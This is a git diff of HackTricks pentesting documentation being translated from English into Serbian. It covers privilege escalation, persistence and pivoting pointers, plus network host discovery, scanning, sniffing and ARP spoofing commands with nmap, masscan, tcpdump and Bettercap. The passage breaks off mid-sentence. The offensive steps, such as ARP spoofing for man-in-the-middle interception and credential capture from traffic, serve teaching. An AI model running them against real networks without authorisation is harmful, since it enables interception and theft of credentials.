+Takođe biste trebali proveriti ove stranice o tome kako **Windows funkcioniše**: -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +* [**Autentifikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) +* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)? +* Kako **ukrasti akreditive** u Windowsu +* Neke trikove o [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -* [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) -* How does [**NTLM works**](../windows-hardening/ntlm/) -* How to [**steal credentials**](broken-reference/) in Windows -* Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +**Ne zaboravite da proverite najbolje alate za enumeraciju putanja lokalne eskalacije privilegija u Windowsu i Linuxu:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +#### **10.2- Eskalacija privilegija u domenu** -#### **10.2- Domain Privesc** - -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i postojanost na Active Directory-ju**](../windows-hardening/active-directory-methodology/). Iako je ovo samo pododeljak jednog odeljka, ovaj proces može biti **izuzetno osetljiv** u okviru Pentesting/Red Team zadatka. ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - Pljačkanje -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](broken-reference/). +Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\ +Pronađite ovde različite načine za [**izvlačenje lozinki u Windowsu**](broken-reference/). -#### 11.2 - Persistence +#### 11.2 - Postojanost -**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Koristite 2 ili 3 različite vrste mehanizama postojanosti kako ne biste morali ponovo iskorišćavati sistem.**\ +**Ovde možete pronaći neke** [**trikove za postojanost na Active Directory-ju**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Complete persistence Post in Windows & Linux +TODO: Završite post o postojanosti u Windowsu i Linuxu ### 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +Sa **prikupljenim akreditivima** možete imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo pokrenuti metodologiju Pentesting-a) unutar novih mreža gde je vaša žrtva povezana.\ +U ovom slučaju, tuneliranje može biti neophodno. Ovde možete pronaći [**post koji govori o tuneliranju**](tunneling-and-port-forwarding.md).\ +Takođe obavezno proverite post o [Metodologiji za pentestiranje Active Directory-ja](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i izvlačenje akreditiva.\ +Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može biti veoma korisna za pivoting u Windows okruženjima. -### MORE +### VIŠE -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Android aplikacije](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **Eksploatacija** -* [**Basic Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/) -* [**Basic Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Basic exploiting tools**](../exploiting/tools/) +* [**Osnovna eksploatacija u Linuxu**](../exploiting/linux-exploiting-basic-esp/) +* [**Osnovna eksploatacija u Windowsu**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [**Osnovni alati za eksploataciju**](../exploiting/tools/) -#### [**Basic Python**](python/) +#### [**Osnovni Python**](python/) -#### **Crypto tricks** +#### **Trikovi sa kriptografijom** * [**ECB**](../cryptography/electronic-code-book-ecb.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](../cryptography/padding-oracle-priv.md) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Bug bounty savet**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **100.000 dolara**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repozitorijume**.
diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index 65223ce6e..f12da9f09 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -1,96 +1,85 @@ -# Pentesting Network +# Testiranje mreže
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Savet za bug bounty**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Otkrivanje hostova sa spoljne strane -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Ovo će biti **kratko poglavlje** o tome kako pronaći **IP adrese koje odgovaraju** sa **Interneta**.\ +U ovoj situaciji imate neki **opseg IP adresa** (možda čak i nekoliko **opsega**) i samo želite da pronađete **koje IP adrese odgovaraju**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +Ovo je najlakši i najbrži način da otkrijete da li je host dostupan ili ne.\ +Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo zahteva** i očekivanje odgovora. To možete uraditi koristeći jednostavnu `ping` komandu ili koristeći `fping` za **opsege**.\ +Takođe možete koristiti **nmap** da biste poslali druge vrste ICMP paketa (ovo će izbeći filtere za uobičajene ICMP echo zahtev-odgovor). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### Otkrivanje TCP portova -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +Veoma je često da se ustanovi da su sve vrste ICMP paketa filtrirane. Tada, sve što možete da uradite da biste proverili da li je host dostupan je da **pokušate da pronađete otvorene portove**. Svaki host ima **65535 portova**, pa ako imate "veliki" opseg, **ne možete** testirati da li je **svaki port** svakog hosta otvoren ili ne, to bi oduzelo previše vremena.\ +Zato vam je potreban **brzi skener portova** ([masscan](https://github.com/robertdavidgraham/masscan)) i lista **najčešće korišćenih portova:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +Možete izvršiti ovaj korak i sa `nmap`, ali je sporiji i `nmap` ima problema sa identifikacijom dostupnih hostova. -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### Otkrivanje HTTP porta +Ovo je samo otkrivanje TCP porta koje je korisno kada želite da se fokusirate na otkrivanje HTTP servisa: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### Otkrivanje UDP porta -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +Takođe možete pokušati da proverite da li je neki **UDP port otvoren** kako biste odlučili da li treba da **posvetite više pažnje** određenom **hostu**. Pošto UDP servisi obično **ne odgovaraju** sa **bilo kakvim podacima** na običan prazan UDP probni paket, teško je reći da li je port filtriran ili otvoren. Najlakši način da se to utvrdi je slanje paketa koji je povezan sa pokrenutim servisom, a pošto ne znate koji servis je pokrenut, trebali biste probati najverovatniji na osnovu broja porta: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +Linija nmap koja je predložena ranije će testirati **1000 najčešće korišćenih UDP portova** na svakom hostu unutar opsega **/24**, ali čak i to će trajati **>20 minuta**. Ako vam trebaju **najbrži rezultati**, možete koristiti [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Ovo će poslati ove **UDP probe** na njihove **očekivane portove** (za opseg /24 će trajati samo 1 minut): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### Otkrivanje SCTP portova ```bash #Probably useless, but it's pretty fast, why not trying? nmap -T4 -sY -n --open -Pn ``` +## Pentestiranje Wifi-a -## Pentesting Wifi - -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Ovde možete pronaći lep vodič za sve poznate napade na Wifi u vreme pisanja: {% content-ref url="../pentesting-wifi/" %} [pentesting-wifi](../pentesting-wifi/) {% endcontent-ref %} -## Discovering hosts from the inside +## Otkrivanje hostova iznutra -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Ako se nalazite unutar mreže, jedna od prvih stvari koje ćete želeti da uradite je da **otkrijete druge hostove**. Zavisno od **koliko buke** želite/hoćete da napravite, mogu se izvršiti različite radnje: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### Pasivno +Možete koristiti ove alate za pasivno otkrivanje hostova unutar povezane mreže: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -99,12 +88,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Aktivno -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +Imajte na umu da se tehnike opisane u [_**Otkrivanje hostova sa spoljne strane**_](./#otkrivanje-hostova-sa-spoljne-strane) (_Otkrivanje TCP/HTTP/UDP/SCTP portova_) takođe mogu **primeniti ovde**.\ +Međutim, pošto se nalazite u **istoj mreži** kao i ostali hostovi, možete uraditi **više stvari**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -124,103 +111,93 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` +### Aktivni ICMP -### Active ICMP +Imajte na umu da se tehnike koje su komentarisane u odeljku _Otkrivanje hostova sa spoljne strane_ ([_**ICMP**_](./#icmp)) mogu **primeniti i ovde**.\ +Ali, pošto se nalazite u **istoj mreži** kao i ostali hostovi, možete uraditi **više stvari**: -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +* Ako **pingujete** adresu **subnet broadcasta**, ping bi trebao da stigne do **svakog hosta** i oni bi mogli da **odgovore** vama: `ping -b 10.10.5.255` +* Pingovanjem **broadcast adrese mreže** čak možete pronaći hostove unutar **drugih subnetova**: `ping -b 255.255.255.255` +* Koristite opcije `-PE`, `-PP`, `-PM` naredbe `nmap` za otkrivanje hostova slanjem odgovarajućih zahteva za **ICMPv4 echo**, **timestamp** i **subnet masku**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` -* If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -* Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -* Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` - -### **Wake On Lan** - -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). +### **Budjenje preko mreže (Wake On Lan)** +Budjenje preko mreže (Wake On Lan) se koristi za **uključivanje** računara putem **mrežne poruke**. Čarobni paket koji se koristi za uključivanje računara je samo paket u kojem je navedena **MAC adresa odredišta** i zatim se **16 puta ponavlja** unutar istog paketa.\ +Ovakvi paketi se obično šalju u **ethernet 0x0842** ili u **UDP paket na port 9**.\ +Ako nije navedena **\[MAC]** adresa, paket se šalje na **broadcast ethernet** (i broadcast MAC adresa će biti ona koja se ponavlja). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## Skeniranje Hostova -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Kada ste otkrili sve IP adrese (spoljne ili unutrašnje) koje želite detaljno skenirati, možete izvršiti različite akcije. ### TCP -* **Open** port: _SYN --> SYN/ACK --> RST_ -* **Closed** port: _SYN --> RST/ACK_ -* **Filtered** port: _SYN --> \[NO RESPONSE]_ -* **Filtered** port: _SYN --> ICMP message_ - +* **Otvoren** port: _SYN --> SYN/ACK --> RST_ +* **Zatvoren** port: _SYN --> RST/ACK_ +* **Filtriran** port: _SYN --> \[BEZ ODGOVORA]_ +* **Filtriran** port: _SYN --> ICMP poruka_ ```bash # Nmap fast scan for the most 1000tcp ports used -nmap -sV -sC -O -T4 -n -Pn -oA fastscan +nmap -sV -sC -O -T4 -n -Pn -oA fastscan # Nmap fast scan for all the ports -nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan +nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan # Nmap fast scan for all the ports slower to avoid failures due to -T4 nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Postoje 2 opcije za skeniranje UDP porta: -* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -* Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +* Pošaljite **UDP paket** i proverite odgovor _**ICMP nedostupan**_ ako je port **zatvoren** (u nekim slučajevima ICMP će biti **filtriran** pa nećete dobiti nikakve informacije ako je port zatvoren ili otvoren). +* Pošaljite **formatirane datagrame** da biste izazvali odgovor od **servisa** (npr. DNS, DHCP, TFTP i drugi, kao što je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, tada je port **otvoren**. +**Nmap** će **mešati obe** opcije koristeći "-sV" (UDP skeniranja su veoma spora), ali imajte na umu da su UDP skeniranja sporija od TCP skeniranja: ```bash # Check if any of the most common udp services is running -udp-proto-scanner.pl +udp-proto-scanner.pl # Nmap fast check if any of the 100 most common UDP services is running nmap -sU -sV --version-intensity 0 -n -F -T4 # Nmap check if any of the 100 most common UDP services is running and launch defaults scripts -nmap -sU -sV -sC -n -F -T4 +nmap -sU -sV -sC -n -F -T4 # Nmap "fast" top 1000 UDP ports nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### SCTP Skeniranje -### SCTP Scan +**SCTP (Stream Control Transmission Protocol)** je dizajniran da se koristi zajedno sa **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Njegova glavna svrha je olakšavanje prenosa telefonskih podataka preko IP mreža, oponašajući mnoge od karakteristika pouzdanosti koje se nalaze u **Signaling System 7 (SS7)**. **SCTP** je osnovna komponenta porodičnog protokola **SIGTRAN**, koji ima za cilj prenos SS7 signala preko IP mreža. -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. - -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +Podrška za **SCTP** je obezbeđena od strane različitih operativnih sistema, kao što su **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, što ukazuje na njegovo široko prihvatanje i korisnost u oblasti telekomunikacija i mrežnog povezivanja. +Nmap nudi dva različita skeniranja za SCTP: _-sY_ i _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### Evidencija IDS i IPS-a {% content-ref url="ids-evasion.md" %} [ids-evasion.md](ids-evasion.md) {% endcontent-ref %} -### **More nmap options** +### **Više opcija za nmap** {% content-ref url="nmap-summary-esp.md" %} [nmap-summary-esp.md](nmap-summary-esp.md) {% endcontent-ref %} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### Otkrivanje internih IP adresa +**Nekonfigurisani ruteri, firewall-i i mrežni uređaji** ponekad odgovaraju na mrežne upite koristeći **nejavne izvorne adrese**. **tcpdump** se može koristiti za identifikaciju paketa primljenih sa privatnih adresa tokom testiranja. Konkretno, na Kali Linux-u, paketi se mogu uhvatiti na **eth2 interfejsu**, koji je dostupan sa javnog interneta. Važno je napomenuti da će, ako je vaša konfiguracija iza NAT-a ili firewall-a, takvi paketi verovatno biti filtrirani. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -228,30 +205,48 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` +## Snifovanje -## Sniffing +Snifovanjem možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i imenima hostova pregledanjem uhvaćenih frejmova i paketa. Ako je mreža loše konfigurisana ili ako je prekidač pod stresom, napadači mogu uhvatiti osetljive podatke putem pasivnog snifovanja mreže. -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. - -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Ako je prekidač u Ethernet mreži pravilno konfigurisan, videćete samo emitovane frejmove i materijal namenjen vašoj MAC adresi. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +Takođe, moguće je snimati pakete sa udaljenog računara preko SSH sesije koristeći Wireshark kao grafički interfejs u realnom vremenu. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap +Bettercap je moćan alat za mrežno pentestiranje koji pruža razne funkcionalnosti za analizu i manipulaciju mrežnog saobraćaja. Ovaj alat omogućava hakere da izvrše različite napade na mrežu, kao što su presretanje paketa, DNS spoofing, ARP spoofing i mnoge druge tehnike. + +#### Instalacija + +Da biste instalirali Bettercap, pratite sledeće korake: + +1. Prvo, instalirajte Go programski jezik na svom sistemu. +2. Zatim, klonirajte Bettercap repozitorijum sa GitHub-a. +3. Uđite u direktorijum repozitorijuma i pokrenite `make build` komandu. +4. Nakon završetka kompilacije, pokrenite `make install` komandu da biste instalirali Bettercap. + +#### Upotreba + +Bettercap se može koristiti za različite svrhe, uključujući: + +- Presretanje mrežnog saobraćaja: Bettercap može presretati mrežni saobraćaj između uređaja i rutera, omogućavajući hakerima da prate i analiziraju komunikaciju. +- DNS spoofing: Ovaj alat omogućava hakere da izvrše DNS spoofing napade, preusmeravajući DNS upite na lažne IP adrese. +- ARP spoofing: Bettercap može izvršiti ARP spoofing napade, lažirajući ARP odgovore i preusmeravajući mrežni saobraćaj na hakerov uređaj. +- SSL/TLS interseptacija: Alat podržava interseptaciju SSL/TLS saobraćaja, omogućavajući hakerima da dešifruju enkriptovane podatke. + +#### Zaključak + +Bettercap je moćan alat za mrežno pentestiranje koji pruža razne funkcionalnosti za analizu i manipulaciju mrežnog saobraćaja. Korišćenje ovog alata zahteva odgovornost i etičko postupanje, jer može biti zloupotrebljen za neovlašćene aktivnosti. ```bash net.sniff on net.sniff stats @@ -260,23 +255,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Očigledno. -### Capturing credentials +### Snimanje akreditacija -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Možete koristiti alate poput [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje akreditacija iz pcap datoteke ili sa živog interfejsa. -## LAN attacks +## Napadi na LAN mrežu ### ARP spoofing -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARP spoofing se sastoji od slanja lažnih ARP odgovora kako bi se naznačilo da IP adresa određenog uređaja ima MAC adresu našeg uređaja. Zatim, žrtva će promeniti ARP tabelu i kontaktiraće naš uređaj svaki put kada želi da kontaktira IP adresu koja je lažirana. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -284,37 +277,33 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** +Arpspoof je alat koji omogućava napadaču da lažira ARP odgovore i preusmerava mrežni saobraćaj. Ovo omogućava napadaču da izvede napade kao što su Man-in-the-Middle (MitM) i sniffing mrežnog saobraćaja. Arpspoof koristi ARP protokol za 